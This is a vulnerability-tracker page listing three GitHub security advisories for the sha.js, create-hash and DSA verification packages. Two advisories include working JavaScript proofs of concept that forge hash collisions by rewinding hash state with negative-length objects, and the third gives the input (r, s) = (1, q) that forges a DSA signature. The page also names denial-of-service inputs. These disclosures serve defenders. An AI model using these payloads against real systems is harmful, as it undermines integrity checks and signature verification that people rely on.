Where
-Infinity
0

Vendor Risk Score

See how browserify compares to other vendors in security performance

View Risk Score →
Severity
9.1
EPSS
0.06%
Input Validation
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

This is the same as GHSA-cpq7-6gpm-g9rc but just for sha.js, as it has its own implementation.

Missing input type checks can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC js const forgeHash = (data, payload) => JSON.stringify([payload, { length: -payload.length}, [...data]])

const sha = require('sha.js') const { randomBytes } = require('crypto')

const sha256 = (...messages) => { const hash = sha('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') }

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0])

Output: 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 638d5bf3ca5d1decf7b78029f1c4a58558143d62d0848d71e27b2a6ff312d7c4 Hashed input means safe

Or just: console require('sha.js')('sha256').update('foo').digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae' require('sha.js')('sha256').update('fooabc').update({length:-3}).digest('hex') '2c26b46b68ffc68ff99b453c1d30413413422d706483bfa0f98a5e886266e7ae'

Impact

1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js) 4. DoS on {length:'1e99'} 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration)

1 / 3
Source: GitHub
First published (updated )
Severity
9.1
EPSS
0.19%
Input Validation
CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:H/SI:H/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

This affects e.g. create-hash (and crypto-browserify), so I'll describe the issue against that package Also affects create-hmac and other packages

Node.js createHash works only on strings or instances of Buffer, TypedArray, or DataView.

Missing input type checks (in npm create-hash polyfill of Node.js createHash) can allow types other than a well-formed Buffer or string, resulting in invalid values, hanging and rewinding the hash state (including turning a tagged hash into an untagged hash), or other generally undefined behaviour.

Details

See PoC

PoC js const createHash = require('create-hash/browser.js') const { randomBytes } = require('crypto')

const sha256 = (...messages) => { const hash = createHash('sha256') messages.forEach((m) => hash.update(m)) return hash.digest('hex') }

const validMessage = [randomBytes(32), randomBytes(32), randomBytes(32)] // whatever

const payload = forgeHash(Buffer.concat(validMessage), 'Hashed input means safe') const receivedMessage = JSON.parse(payload) // e.g. over network, whatever

console.log(sha256(...validMessage)) console.log(sha256(...receivedMessage)) console.log(receivedMessage[0])

Output: 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 9ef59a6a745990b09bbf1d99abe43a4308b48ce365935e29eb4c9000984ee9a9 Hashed input means safe

This works with: js const forgeHash = (valid, wanted) => JSON.stringify([wanted, { length: -wanted.length }, { ...valid, length: valid.length }])

But there are other types of input which lead to unchecked results

Impact

1. Hash state rewind on {length: -x}. This is behind the PoC above, also this way an attacker can turn a tagged hash in cryptographic libraries into an untagged hash. 2. Value miscalculation, e.g. a collision is generated by { length: buf.length, ...buf, 0: buf[0] + 256 } This will result in the same hash as of buf, but can be treated by other code differently (e.g. bn.js) 4. DoS on {length:'1e99'} 5. On a subsequent system, (2) can turn into matching hashes but different numeric representations, leading to issues up to private key extraction from cryptography libraries (as nonce is often generated through a hash, and matching nonces for different values often immediately leads to private key restoration, like GHSA-vjh7-7g9h-fjfh) 6. Also, other typed arrays results are invalid, e.g. returned hash of new Uint16Array(5) is the same as new Uint8Array(5), not new Uint16Array(10) as it should have been (and is in Node.js crypto) -- same for arrays with values non-zero, their hashes are just truncated to %256 instead of converted to correct bytelength

1 / 2
Source: GitHub
First published (updated )
Severity
7.5
AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N

Summary An upper bound check issue in dsaVerify function allows an attacker to construct signatures that can be successfully verified by any public key, thus leading to a signature forgery attack.

Details In dsaVerify function, it checks whether the value of the signature is legal by calling function checkValue, namely, whether r and s are both in the interval [1, q - 1]. However, the second line of the checkValue function wrongly checks the upper bound of the passed parameters, since the value of b.cmp(q) can only be 0, 1 and -1, and it can never be greater than q.

In this way, although the values of s cannot be 0, an attacker can achieve the same effect as zero by setting its value to q, and then send (r, s) = (1, q) to pass the verification of any public key.

Impact All places in this project that involve DSA verification of user-input signatures will be affected by this vulnerability.

Fix PR: Since the temporary private fork was deleted, here's a webarchive of the PR discussion and diff pages: PR webarchive.zip

1 / 4
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203